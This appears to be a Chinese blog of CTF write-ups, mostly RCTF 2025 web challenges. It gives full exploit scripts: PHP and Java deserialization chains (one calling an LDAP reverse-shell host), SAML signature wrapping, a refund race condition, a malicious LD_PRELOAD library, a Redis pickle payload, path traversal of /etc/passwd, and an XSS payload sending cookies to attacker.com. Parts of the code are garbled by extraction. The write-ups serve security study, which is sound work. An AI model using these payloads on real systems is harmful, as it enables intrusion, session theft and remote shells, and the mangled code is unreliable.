寻找 Gadget (利用链): 我们需要找到可以利用的魔术方法和危险函数。

终点 (Sink): ReadFile 类中的 __toString() 方法包含了 file_get_contents($this->filename)。如果我们能控制 $this->filename 并触发 __toString()，就能读取任意文件。

起点/中继点 (Gadget): Profile 类中的 __destruct() 方法会在脚本结束时自动调用。它执行了 $this->logger->log(...)。

中继点: Logger 类中的 log() 方法执行了 file_put_contents($this->log_file, $message . "\n", FILE_APPEND)。虽然 file_put_contents 本身很危险（可以写 Webshell），但我们注意到 $message 是拼接而成的，我们很难直接控制。然而，如果 $this->log_file 是一个对象，并且这个对象有 __toString() 方法，那么在 file_put_contents 尝试将它作为文件名（字符串）使用时，就会触发 __toString()！

构建利用链 (POP Chain)

我们的目标是触发 ReadFile 类的 __toString() 方法。

Profile::__destruct() -> Logger::log() -> file_put_contents() -> (参数 $this->log_file 被当作字符串) -> ReadFile::__toString() -> file_get_contents()

编写 Exploit 脚本 (exploit.php)

我们需要在本地构造一个恶意的对象链，然后序列化它。

<?php
// 需要定义目标代码中所有用到的类，但只需要定义其属性即可
class Profile {
    public $username;
    public $description;
    public $logger;
}

class Logger {
    // 在目标代码中 log_file 是 private, 但在反序列化时，PHP 不会检查属性可见性
    // 我们可以直接设置它。
    private $log_file;
}

class ReadFile {
    public $filename;
}

// 1. 创建终点 Gadget 的实例
$readFile = new ReadFile();
$readFile->filename = '/flag.php'; // 设置要读取的文件

// 2. 创建中继 Gadget 的实例
$logger = new Logger();
// 关键一步：将终点 Gadget 赋值给中继 Gadget 的属性
// 注意：即使 log_file 是 private，我们仍然可以在这里设置它
// PHP 反序列化时会强制赋值
$logger->log_file = $readFile;

// 3. 创建起点 Gadget 的实例
$profile = new Profile();
$profile->username = 'attacker'; // 任意值
$profile->description = 'hacked'; // 任意值
// 关键一步：将中继 Gadget 赋值给起点 Gadget 的属性
$profile->logger = $logger;

// 4. 生成 payload
$payload = serialize($profile);
echo "原始 Payload: \n" . $payload . "\n\n";
echo "Base64 编码后的 Payload (用于 Cookie): \n" . base64_encode($payload) . "\n";
?>

使用

运行 php exploit.php，得到一长串 Base64 编码的字符串。

打开浏览器的开发者工具 (F12)。

进入“应用 (Application)” -> “Cookie” 面板。

找到名为 user_profile 的 Cookie，将其值替换为我们生成的 Base64 Payload。

刷新页面。由于 file_put_contents 会把读取到的 flag 内容当作文件名而报错，flag 通常会显示在页面的错误信息或警告中。

RCTF复现

Wed, 26 Nov 2025 00:00:00 +0000

1.Photographer

卡了我一整天的题竟然只是小小签到，崩溃了。。

不过这道题也是给我理清了代码审计的思路。

来看看源码：

根目录里有一个配置文件，有这句：

DocumentRoot /var/www/html/public

所以我们要去/public才能看到网站的一些代码。

看到index，看看：

$routeLoader = require __DIR__ . '/../app/config/router.php';

进到router看看，最关键的应该是文件上传部分的代码：

$router->post('/api/photos/upload', 'PhotoController@upload');
$router->get('/api/photos/{id}/info', 'PhotoController@info');
$router->post('/api/photos/delete', 'PhotoController@delete');

所以我们去看PhotoController这个类。

在这个类里有upload这个函数，观察其逻辑可以发现关键的过滤机制为isValidImage函数（代码太长不想看就丢ai

去看isValidImage函数：

function isValidImage($file) {
    $allowedExtensions = config('upload.allowed_extensions');
    
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($ext, $allowedExtensions)) {
        return false;
    }
    
    if ($file['size'] > config('upload.max_size')) {
        return false;
    }
    
    $imageInfo = @getimagesize($file['tmp_name']);
    if ($imageInfo === false) {
        return false;
    }
    
    return true;
}

这里是用了一个白名单过滤，直接防死：

 'allowed_extensions' => ['jpg', 'jpeg', 'png', 'gif', 'webp']

去找新方法，在public目录下还有一个superadmin.php，其中

if (Auth::check() && Auth::type() < $user_types['admin']) {
    echo getenv('FLAG') ?: 'RCTF{test_flag}';

当我们满足条件后访问这个路由就可以拿到flag。于是我们去看Auth::type是怎么得到的。

public static function type() {
        return self::$user['type'];
    }

全局搜索self::$user

public static function init() {
        if (session_status() === PHP_SESSION_NONE) {
            session_name(config('session.name'));
            session_start();
        }
        
        if (isset($_SESSION['user_id'])) {
            self::$user = User::findById($_SESSION['user_id']);
        }
    }

查看findById

public static function findById($userId) {
        return DB::table('user')
            ->leftJoin('photo', 'user.background_photo_id', '=', 'photo.id')
            ->where('user.id', '=', $userId)
            ->first();
    }

这里leftjoin查询photo，会使photo.type覆盖原本的user.type，所以此时只需要将图片的Content-type改成-1，然后访问路由即可。

2.rootkb

沙箱逃逸，可惜我当时不会。

题目场景是一个允许用户执行Python代码的工具环境。

发现/opt/maxkb-app/sandbox/sandbox.so这个文件是可写的。

至此，沙箱逃逸的前提条件已经满足。

触发机制：系统在运行用户的Python代码时，为了限制权限（沙箱化），会通过LD_PRELOAD环境变量强制加载sandbox.so这个动态链接库

什么是 LD_PRELOAD？它是 Linux 的一个环境变量，允许用户指定一个共享库（.so文件），在程序启动前优先加载。系统本意是利用这个 sandbox.so 里的逻辑来限制你的操作，但因为这个文件本身可被覆盖，攻击者就可以把它替换成恶意的 .so 文件，从而反客为主，获得代码执行权限。

首先写出payload：

#include <stdio.h>

// __attribute__((constructor)) 是 GCC 的特有语法
// 它的作用是：让 abc 函数在动态库被加载时（即 main 函数运行前）自动执行
__attribute__((constructor)) void abc(void) {
    const char *src = "/root/flag";
    const char *dst = "/opt/maxkb-app/apps/static/admin/assets/flag";
    // 将 root 目录下的 flag 文件，重命名（移动）到 Web 服务的静态资源目录下
    rename(src, dst);
}

通常 Web 服务的用户权限无法直接读取 /root/flag。但是，如果加载 sandbox.so 的进程（父进程）是 Root 权限或者有足够的文件操作权限，那么注入的代码就能以高权限运行

接下来要在本地将上面的C代码编译成动态链接库(.so文件)

gcc -shared -fPIC exp.c -o exp.so

然后将生成的 exp.so 文件内容转换为 Base64 编码，以便在 Python 脚本中通过字符串形式传输

接下来就要在自定义工具页面上传python工具

import base64
import os

def fileWrite():
    # 1. 打开目标路径（原本的沙箱库文件），准备覆盖写入
    with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
        # 2. 将我们在本地编译好并 base64 编码的恶意 so 文件内容写入
        f.write(base64.b64decode("实际的Base64字符串"))
    # 3. 触发加载
    # 当这里执行 os.popen 或任何系统调用时，或者当前 Python 进程本身启动时
    # 系统会根据配置尝试加载 LD_PRELOAD 指定的 sandbox.so
    # 此时加载的就是我们刚刚写入的恶意文件了
    os.popen("whoami") 
    
    return "success"

直接在浏览器访问http://目标网站/static/admin/assets/flag即可拿到flag

auth

通过代码审计，可以发现身份验证相关代码：

@app.route('/admin')
def admin():
    if 'email' not in session:
        return redirect(url_for('saml_login'))
    
    if session.get('email') != 'admin@rois.team':
        return render_template('error.html', error='Insufficient permissions, admin access only'), 403
    
    return render_template_string(os.getenv("FLAG","RCTF{test_flag}"))

我们的身份需要是admin@rois.team才能拿到flag。

往上查阅，发现以下数据流：

session['email'] = nameid

nameid = parser.get_nameid()

parser = SAMLResponseParser(
            saml_response, 
            IDP_CERT,
            validate_time=saml_config.validate_time,
            validate_audience=saml_config.validate_audience,
            expected_audience=SP_ENTITY_ID,
            validate_destination=saml_config.validate_destination,
            expected_destination=SP_ACS_URL,
            time_tolerance=saml_config.time_tolerance
        )

saml_response = request.form.get('SAMLResponse')

所以我们就可以理解这条数据流的逻辑：

输入（Source）： 用户通过 POST 请求提交 SAMLResponse 参数 -> 完全由攻击者控制。
处理： 后端接收这个字符串，交给 SAMLResponseParser 进行解析。
结果（Sink）： 解析器提取出 nameid，如果没有问题，就把它放进 session，从而获得管理员权限。

下面有判断逻辑阻碍我们随意篡改数据：

if not parser.is_valid():
            return render_template('error.html', error='SAML response validation failed'), 401

这一行代码通常会对 SAMLResponse 进行数字签名验证，确保数据确实来自可信的 IDP（身份提供商），而且没有被篡改。

看看 is_valid() 内部到底在检查什么：

def is_valid(self):
        if not self.parse():
            return False
        
        if not self.validate_signature():
            return False
        
        if not self._check_assertion_uniqueness():
            return False
        
        return True

这个 is_valid 函数逻辑看起来非常简洁，它依次执行了三个检查：

parse(): 解析 XML 结构。
validate_signature(): 验证签名。
_check_assertion_uniqueness(): 检查是否重放攻击。

只要其中任何一个返回 False，整个验证就失败了。

在 CTF 题目中，validate_signature() 通常是最容易藏猫腻的地方。如果这里的逻辑写得不够严死，比如“如果没有签名就算验证通过”，或者“只验证了外层签名但用了内层数据”，我们就有机会了。

所以继续看：

def validate_signature(self):
        if self.document is None:
            return False
            
        validator = SignatureValidator(
            self.document, 
            self.cert_text,
            validate_time=self.validate_time,
            validate_audience=self.validate_audience,
            expected_audience=self.expected_audience,
            validate_destination=self.validate_destination,
            expected_destination=self.expected_destination,
            time_tolerance=self.time_tolerance
        )
        return validator.validate()

它并没有亲自做校验，而是把任务外包给了 SignatureValidator 这个类。

看这个类（太长就不放出来了），其中validate 方法是关键：

def validate(self):
        # ... 省略部分 ...
        
        response_signature = self._find_response_signature()
        if response_signature is not None:
             # 分支 A: 验证 Response 签名
            if not self._verify_signature(response_signature):
                return False
        else:
            # 分支 B: 验证 Assertion 签名
            assertion_signatures = self._find_assertion_signatures()
            if not assertion_signatures:
                return False
            
            for sig_node in assertion_signatures:
                if not self._verify_signature(sig_node):
                    return False
        
        # ... 省略后续检查 ...
        return True

这里有一个非常有意思的 if/else 逻辑。假设我们攻击时，直接把外层的 <ds:Signature>（Response 的签名）删掉，代码就会进入 分支 B（else 部分）。

现在，请设想这样一个场景：我们在 XML 里放了两个 <saml:Assertion> 结构。

第一个 Assertion：是我们伪造的 admin@rois.team，但是没有签名（没有 <ds:Signature> 节点）。
第二个 Assertion：是我们正常登录抓包拿到的、带有合法签名的普通用户 Assertion。

validate 函数里的 for 循环不会去检查那个没有签名的第一个 Assertion，只检查了第二个 Assertion（合法的），那么 validate 函数最终会返回 True。

这就是这个漏洞的核心所在：Validator（校验器）和 Parser（解析器）之间的“信息不对称”。

所以这是一个XML 签名包装攻击 (XML Signature Wrapping / XSW) 的变种。

攻击的方式很简单，但是这道题对于我们要注册一个合法账户设置了一个邀请码，我们需要绕过这个邀请码。

看看注册逻辑：

if (parseInt(type) === 0) {
                if (!invitationCode || invitationCode !== config.getInviteCode()) {
                    return res.render('register', {
                        title: 'User Registration',
                        errors: [{ msg: 'Invalid invitation code' }],
                        formData: req.body
                    });
                }

            }

            req.session.userId = await User.create({
                username,
                email,
                password,
                type,
                displayName: displayName || username,
                department,
                role: 'user'
            });

这里用(parseInt(type) === 0)来判断是否为管理员注册，所以可以发送{"type": false}来绕过邀请码验证。

不过注册成功后 IdP 会直接设置 Sessionreq.session.userType = type 但是middleware/auth.js检查的是req.session.userType不等于type (false)。所以需要重新登录⼀次。

然后发起 SSO，得到合法的 SAMLResponse。

脚本如下：

import requests
import base64
import urllib.parse
from lxml import etree
import copy
import re
import random
import string
IDP_HOST = "<http: auth.rctf.rois.team>"
SP_HOST = "<http: auth-flag.rctf.rois.team:26000>"
def solve():
    s = requests.Session()
    # 注册登录
    rand_suffix = ''.join(random.choices(string.ascii_lowercase + 
                                         string.digits, k=6))
    username = f"hacker_{rand_suffix}"
    password = "password123"
    email = f"hacker_{rand_suffix}@example.com"
    print(username, password, email)
    register_url = f"{IDP_HOST}/register"
    reg_data = {
        "username": username,
        "email": email,
        "password": password,
        "confirmPassword": password,
        "type": False, #
        "displayName": "Hacker"
    }
    s.post(register_url, json=reg_data)
    s.cookies.clear()
    login_url = f"{IDP_HOST}/login"
    s.post(login_url, data={"username": username, "password": password})
    # 获取合法的 SAML Response
    sso_init_url = f"{IDP_HOST}/saml/idp/Flag"
    res = s.get(sso_init_url)
    saml_response_b64 = re.search(r'name="SAMLResponse" value="([^"]+)"', 
                                  res.text).group(1)
    # XML Signature Wrapping
    xml_content = base64.b64decode(saml_response_b64).decode('utf-8')
    root = etree.fromstring(xml_content.encode('utf-8'))
    ns = {'saml': 'urn:oasis:names:tc:SAML2.0:assertion', 'ds': 
          '<http: www.w3.org/2000/09/xmldsig#>'}
    original_assertion = root.find('. saml:Assertion', ns)
    fake_assertion = copy.deepcopy(original_assertion)
    fake_assertion.set('ID', f'_{urllib.parse.quote(username)}_fake')
    nameid_node = fake_assertion.find('. saml:NameID', ns)
    nameid_node.text = 'admin@rois.team'
    signature_node = fake_assertion.find('. ds:Signature', ns)
    if signature_node is not None:
        signature_node.getparent().remove(signature_node)
        root.insert(1, fake_assertion)

        evil_xml = etree.tostring(root, encoding='utf-8').decode('utf-8')
        evil_saml_response = base64.b64encode(evil_xml.encode('utf8')).decode('utf-8')
        # 认证
        sp_acs_url = f"{SP_HOST}/saml/acs"
        sp_session = requests.Session()
        res = sp_session.post(sp_acs_url, data={
            "SAMLResponse": evil_saml_response,
            "RelayState": "/admin"
        }, allow_redirects=False)

        redirect_url = res.headers.get('Location')
        target_url = f"{SP_HOST}{redirect_url}" if redirect_url.startswith("/") 
        else redirect_url
        final_res = sp_session.get(target_url)
        print(final_res.text) 

        if name  " main ":
            solve()

4.UltimateFreeloader

观察Redis锁，发现买和退款的锁的key值不⼀样，可以打条件竞争

public Map<String, Object> createOrder(String userId, OrderRequestDTO 
                                       orderRequest) {
    Map<String, Object> result = new HashMap();
    String lockKey = "order:user:" + userId;
    String lockValue = this.redisLockUtil.generateLockValue();
}
public Map<String, Object> refundOrder(String orderId, String userId) {
    Map<String, Object> result = new HashMap();
    String lockKey = "refund:order:" + orderId
}

exp:

import requests
import threading
import time
import uuid
TARGET_URL = "<http: 61.147.171.10549947>"
PROD_LITTLE = "550e8400-e29b-41d4-a716-446655440001" # 5.50
PROD_SWEET  = "550e8400-e29b-41d4-a716-446655440002" # 8.80
PROD_FISH   = "550e8400-e29b-41d4-a716-446655440003" # 4.20
PROD_LARGE  = "550e8400-e29b-41d4-a716-446655440004" # 10.00
s = requests.Session()
CURRENT_USER = {"username": "", "password": ""}
def register_and_login():
username = f"hacker_{uuid.uuid4().hex[:8]}"
password = "password123"
email = f"{username}@hack.com"
CURRENT_USER["username"] = username
CURRENT_USER["password"] = password
print(f"[*] 注册用户: {username}")
try:
        res = s.post(f"{TARGET_URL}/api/user/register", json={
            "username": username, "password": password, "email": email
        })
        
        if res.json().get("code") != 200:
            print(f"[-] 注册失败: {res.text}")
            exit()
        res = s.post(f"{TARGET_URL}/api/user/login", json={
            "username": username, "password": password
        })
        
        token = res.json()['data']['token']
        s.headers.update({"Authorization": f"Bearer {token}"})
        print("[+] token：", token)
        user_id = res.json()['data']['user']['id']
        return user_id
    except Exception as e:
        print(f"[-] 连接错误: {e}")
        exit()
 
def get_coupon_id():
    try:
        res = s.get(f"{TARGET_URL}/api/coupon/available")
        data = res.json().get('data')
        if data:
            return data[0]['id']
    except:
        pass
    return None
 
def get_balance():
    try:
        res = s.get(f"{TARGET_URL}/api/user/info")
        return float(res.json()['data']['balance'])
    except:
        return 0.0
 
def buy(product_id, coupon_id=None):
    data = {
        "productId": product_id,
        "quantity": "1"
    }
    if coupon_id:
        data["couponId"] = coupon_id
    
    try:
        res = s.post(f"{TARGET_URL}/api/order/create", json=data)
        return res.json()
    except:
        return None
 
def refund(order_id):
    try:
        res = s.post(f"{TARGET_URL}/api/order/refund/{order_id}")
        return res.json()
    except:
        return None
 
def get_my_orders():
    try:
        res = s.get(f"{TARGET_URL}/api/order/my")
        return res.json().get('data', [])
    except:
        return []
 
def clean_up_pivot():
    orders = get_my_orders()
    if not orders: return
    for order in orders:
        if order['productId']  PROD_LARGE and order['status']  'COMPLETED' 
and order.get('couponId'):
            refund(order['id'])
 
def glitch_item(target_prod_id, target_name):
    print(f"\\n 尝试: {target_name}")
    
    attempt_count = 0
    while True:
        attempt_count += 1
        orders = get_my_orders()
        has_target = False
        target_order_id = None
        for order in orders:
            if order['productId']  target_prod_id and order['status']  
'COMPLETED':
                has_target = True
                target_order_id = order['id']
                break
        
        current_bal = get_balance()
        
        if has_target and current_bal  10.0:
            print(f"[+] 成功！已拥有 {target_name} 且余额为 10.00")
            if target_prod_id  PROD_LARGE:
                if get_coupon_id():
                    print("[+] 优惠券未使用")
                    break
                else:
                    refund(target_order_id)
                    clean_up_pivot()
                    continue
            else:
                break
        if has_target and current_bal < 10.0:
            refund(target_order_id)
            clean_up_pivot()
            continue
        coupon_id = get_coupon_id()
        if not coupon_id:
            clean_up_pivot()
            continue
        res_buy = buy(PROD_LARGE, coupon_id)
        
        if not res_buy or res_buy.get('code') != 200:
            clean_up_pivot()
            continue
        
        pivot_order_id = res_buy['data']['order']['id']
        def thread_refund():
            refund(pivot_order_id)
            
        def thread_buy_target():
            buy(target_prod_id)
 
        t1 = threading.Thread(target=thread_refund)
        t2 = threading.Thread(target=thread_buy_target)
        
        t1.start()
        t2.start()
        
        t1.join()
        t2.join()
 
def main():
    user_id = register_and_login()
    target_list = [
        (PROD_SWEET, "Sweet Potato (8.80)"),
        (PROD_LITTLE, "Little Potato (5.50)"),
        (PROD_FISH, "Fish Fish (4.20)"),
        (PROD_LARGE, "Large Potato (10.00)")
    ]
for prod_id, name in target_list:
glitch_item(prod_id, name)
time.sleep(0.2)
bal = get_balance()
coupon = get_coupon_id()
orders = get_my_orders()
completed_count = sum(1 for o in orders if o['status']  
'COMPLETED')
print(f"余额: {bal}")
print(f"优惠券: {'存在(未使用)' if coupon else '不存在(已使用)'}")
print(f"已购商品数: {completed_count}")
if bal  
10.0 and coupon:
res = s.get(f"{TARGET_URL}/api/flag/get")
print(res.text)
else:
print("[-] 失败")
print(f"Username: {CURRENT_USER['username']}")
print(f"Password: {CURRENT_USER['password']}")
if name  
" main ":
main()
RCTF{G1ft_F0r_U_My_Br0~}

5.RootKB―

创建⼯具处有⼀个沙箱能执⾏ python 代码。沙箱连接 redis ，密码是默认的，Password123@redis

celery 和 redis通信使⽤了 pickle，这⾥没有 find_class 限制。读取token 的 key：

import socket
class RedisClient:
    def init (self, host='localhost', port=6379):
        self.host = host
        self.port = port
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        写 pickle payload：

    def connect(self):
        """建立 TCP 连接"""
        self.socket.connect((self.host, self.port))

    def send_command(self, command):
        self.socket.sendall((command + '\\r\\n').encode('utf-8'))
        return self.parse_response()

    def parse_response(self):
        """解析 Redis 服务器的响应（基础实现）"""
        response = self.socket.recv(4096).decode('utf-8')
        return response

    def close(self):
        """关闭连接"""
        self.socket.close()
        
def exp():
    client = RedisClient()
    client.connect()

    client.send_command("auth Password123@redis")

    # 设置键值对
    res = client.send_command("keys *")
    # res = open('/etc/passwd', 'r').read()

    return res
result = exp

写 pickle payload：

import redis
import base64
 
def main():
    # 1. 连接Redis并进行认证
    try:
        r = redis.Redis(
            host='localhost', 
            port=6379, 
            password='Password123@redis', # 如果有ACL用户名，加上 
username='your_username'
            decode_responses=False  # 确保获取的是bytes，便于处理二进制数据
        )
        # 测试连接
        r.ping()
        print("✅ Redis连接成功!")
    except Exception as e:
        print(f"❌ 连接Redis时出现错误: {e}")
        return
 
    # 2. 准备并存储字节数据
    try:
        # 示例1: 直接存储字节数据
        binary_data = 
base64.b64decode('gASVbgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxSX19pbXBvcnRfXygn
b3MnKS5wb3BlbignY2F0IC9yb290L2ZsYWcgPiAvdG1wL2ZsYWcgJiYgY2htb2QgNzc3IC90bXAvZm
xhZycpLnJlYWQoKZSFlFKULg ')
       
 r.set(':TOKEN:eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOiJmMGRkOGY3MS1lNGVlLTExZWUtOGM
4NC1hOGExNTk1ODAxYWIiLCJlbWFpbCI6IiIsInR5cGUiOiJTWVNURU1fVVNFUiJ91vKY0u:xS22i
8t2qsCFdGvIYZ5T565rDDS6rJXd-ppgf7nnsUA', binary_data)
        print("✅ 字节数据已存储。")
 
    except Exception as e:
        print(f"❌ 存储数据时出现错误: {e}")
 
    # 4. 关闭连接 (可选，但推荐)
    r.close()
    print("连接已关闭。")
 
result = main

写⼊后带着 admin 的 cookie 刷新⼀下触发反序列化。

读 flag：

def exp():
    res = open('/tmp/flag', 'r').read()
    return res
 
result = exp
RCTF{old_vuln_deleted___new_vuln_says_hi!}

6.author_plus

bot点了两个按钮

await page.goto(article_url, { timeout: 3000, waitUntil: 'domcontentloaded' })

	const auditBtn = await page.$('#audit');
	if (auditBtn) {
    	await Promise.all([
        	auditBtn.click(),
        	page.waitForNavigation({ waitUntil: 'domcontentloaded' }),
    	]);
	}
	let rejectBtn = null;
	try {
    	rejectBtn = await page.waitForSelector('.btn-reject', { visible: 
                                                           true, timeout: 5000 });
	} catch (err) {}
	if (rejectBtn) {
    	await rejectBtn.click();
	}

https://x.com/avlidienbrunn/status/1676549516785221635

其实meta也可以用来放unsafe-inline类型的js

<head>
<meta name="author" content="a" popover id=x onbeforetoggle=alert(1)/>
</head>
<body>
<button id=audit popovertarget=x>Click me </button>
<div popover id=x>actual popover </div>
</body>

a popover id=x onbeforetoggle=alert(1)

当然我们依旧需要csp来限制xss-shield的破坏

preg_match('/ >\\'"\\x20\\t\\r\\n]/', $username)

实际上这个过滤并不安全，我测试后使⽤了两种不同解析结果的空白符 %0b 垂直⽅向制表符 %0c 换⻚符 来完成规则的编写和脚本的插⼊

username=script-src-elem%0bhttp: blog-app/assets/js/article.js%0chttp
equiv=Content-Security
Policy%0cpopover%0cid=x%0conbeforetoggle=location.href=`http: attacker.com:12
34/?
c=${encodeURI(document.cookie)}`&email=9@le0n.com&password=111111&confirm_pass
word=111111&csrf_token=c4bb4bfbfbc051eb3ca51912cac3e6ea70b37cc092688fc5f8c313e
611543d5f

7.author

主要就是绕过xss-shield.js，没有csp

eader.php 中 author name 可以注入向 meta 标签中注入空格，可以添加任意属性。

尝试构造成 CSP 拦截 xss.shiled.js 。

注册用戶时在 username 中写入 csp 内容拦截 xss：

username='script-src-elem <http: blog-app/assets/js/article.js>' http-equiv=Content-Security-Policy

单引号不会被 html 实体化正好用来包裹 csp 内容。script-src-elem 属性不会影响 unsafe-inline，只需要设置 article.js 的 URL 即可。

随后用该账号登录发布的 article 不会有任何限制。使用 img onerror 外带：

RCTF{h0w_d1d_u_byp455_th3_w4f_4nd_x55}

8.maybe_easy

题目给了一个 Maybe 类，其 compareTo 方法会调用 InvocationHandler

package com.rctf.server.tool;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Maybe extends Proxy implements Comparable<Object>, Serializable {
    public Maybe(InvocationHandler h) {
        super(h);
    }

    public int compareTo(Object o) {
        try {
            Method method = Comparable.class.getMethod("compareTo", Object.class);
            Object result = this.h.invoke(this, method, new Object[]{o});
            return (Integer)result;
        } catch (Throwable e) {
            throw new RuntimeException(e);
        }
    }
}

结合 HessianFactory 限制加载的 class 包名

static {
    WHITE_PACKAGES.add("com.rctf.server.tool.");
    WHITE_PACKAGES.add("java.util.");
    WHITE_PACKAGES.add("org.apache.commons.logging.");
    WHITE_PACKAGES.add("org.springframework.beans.");
    WHITE_PACKAGES.add("org.springframework.jndi.");
}

不难得出如下⼏个符合条件的 InvocationHandler：

org.springframework.beans.factory.config.ServiceLocatorFactoryBean$ServiceLocatorInvocationHandler
org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
org.springframework.beans.factory.config.AbstractFactoryBean$EarlySingletonInvocationHandler

经过简单的分析，发现 org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler 可以调用objectFactory.getObject方法

再继续寻找符合条件的 ObjectFactory 类，容易得到 org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory ，里面的getObject 方法会调用beanFactory.getBean 方法

众所周知 Spring 存在 org.springframework.jndi.support.SimpleJndiBeanFactory 这个 BeanFactory，其 getBean 方法可以触发 JNDI 注入

因为题目环境是 JDK 8 + Spring，JNDI 注入后续可以打 Jackson 反序列化一条龙

最后回到最开头的 Maybe 类，借鉴CB链中的PriorityQueue，其在反序列化时可以触发compareTo调用

最终 payload 如下：

import com.rctf.server.tool.HessianFactory;
import com.rctf.server.tool.Maybe;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.PriorityQueue;

public class Main {
public static void main(String[] args) throws Exception {
SimpleJndiBeanFactory simpleJndiBeanFactory = new
SimpleJndiBeanFactory();

simpleJndiBeanFactory.setShareableResources("ldap: 120.55.184.2091389/Deserialize/Jackson/ReverseShell/120.55.184.209/65444");

Class clazz;
Constructor ctor;

clazz =
Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingF
actoryBean$TargetBeanObjectFactory");
ctor = clazz.getDeclaredConstructor(BeanFactory.class, String.class);
ctor.setAccessible(true);
ObjectFactory objectFactory = (ObjectFactory)
ctor.newInstance(simpleJndiBeanFactory,
"ldap:  120.55.184.209 1389/Deserialize/Jackson/ReverseShell/120.55.184.209/65444");
clazz =
                                                                                   Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectF
actoryDelegatingInvocationHandler");
ctor = clazz.getDeclaredConstructor(ObjectFactory.class);
ctor.setAccessible(true);

InvocationHandler handler = (InvocationHandler)
ctor.newInstance(objectFactory);
Maybe maybe = new Maybe(handler);

PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(1);

setFieldValue(priorityQueue, "queue", new Object[]{maybe, maybe});
String data = HessianFactory.serialize(priorityQueue);
System.out.println(data);
HessianFactory.deserialize(data);

}

public static void setFieldValue(Object obj, String name, Object val)
throws Exception {
setFieldValue(obj.getClass(), obj, name, val);
}
                                                                                                 
public static void setFieldValue(Class<?> clazz, Object obj, String name,
Object val) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, val);
}
}

JNDIMap

反弹 shell 查看 flag

9.514s_Heart

https://github.com/koishijs/webui/blob/main/plugins/console/src/node/index.ts

能任意文件读了

GET /@plugin-77dvs1bw9wb/  /  /  /  /  /  /  /etc/passwd HTTP/1.1
Host: 127.0.0.1:5140
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im
age/apng,*  ;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

这个是低权限用戶，读不了flag

读配置文件，拿到密码，要后台找个接口rce了

plugins:
group:server:
server:yrt4za:
port: 5140
maxPort: 5149
host: 0.0.0.0
~server-satori:4a5c8c: {}
~server-temp:in16cp: {}
group:basic:
~admin:tnisa7: {}
~bind:07uqcj: {}
commands:fcfz9r: {}
help:tj2694: {}
http:c3980a: {}
~inspect:bep4w8: {}
locales:10cpca: {}
proxy-agent:9hjj24: {}
rate-limit:9enlml: {}
telemetry:c46z2c: {}
group:console:
actions:12nvqa: {}
analytics:j8afpj: {}
android:bo77l9:
$if: env.KOISHI_AGENT  includes('Android')
auth:hfi7d9:
admin:
hint:   
as you can see, you now get the password of admin, try to rce
without
adding any plugins! gogogo! (The container network has been
restricted. Please do not attempt any supply chain attacks. Let’s
work
together to maintain the security of the Koishi community.)
password: rctf2025gogogotorce
config:ab6k8s: {}
console:n2unsp:
open: false
dataview:b4re4p: {}
desktop:zvr0sy:
$if: env.KOISHI_AGENT  includes('Desktop')
explorer:e6ctyv: {}
logger:6t5evk: {}
insight:blbpmd: {}
market:734ssq:
search:
endpoint: <https:  registry.koishi.chat/index.json>
notifier:fjhc7z: {}
oobe:pblvay: {}
sandbox:a8395u: {}
status:mgd9ai: {}
theme-vanilla:zw7dvu: {}
group:storage:
~database-mongo:e4iopx:
database: koishi
~database-mysql:sqfsc4:
database: koishi
~database-postgres:yixoph:
database: koishi
database-sqlite:l9px0e:
path: data/koishi.db
assets-local:9psdxd: {}
group:adapter:
~adapter-dingtalk:nt9ml6: {}
~adapter-discord:cm64td:
token: null
~adapter-kook:x2laqr: {}
~adapter-lark:93xiqh: {}
~adapter-line:zwdbcy: {}
~adapter-mail:1yn601: {}
~adapter-matrix:ptr0p2: {}
~adapter-qq:zte6li: {}
~adapter-satori:wqcyyw: {}
~adapter-slack:sfujrd: {}
~adapter-telegram:lffgys: {}
~adapter-wechat-official:k7ypgi: {}
~adapter-wecom:2lxd3k: {}
~adapter-whatsapp:k4wpu1: {}
~adapter-zulip:gdig38: {}
group:develop:
$if: env.NODE_ENV     'development'
hmr:s1k6y8:
root: .

https://koishi.chat/zh-CN/guide/develop/config.html#使用环境变量

https://github.com/koishijs/koishi/blob/cbc18a1d1a240ab96704dc04bcb30ad080e25a96/packages/loader/src/shared.ts#L325

过滤器模版注入,然后外带信息就好了

$

RCTF{You_now_g0t_the_heart_0f_koishi!}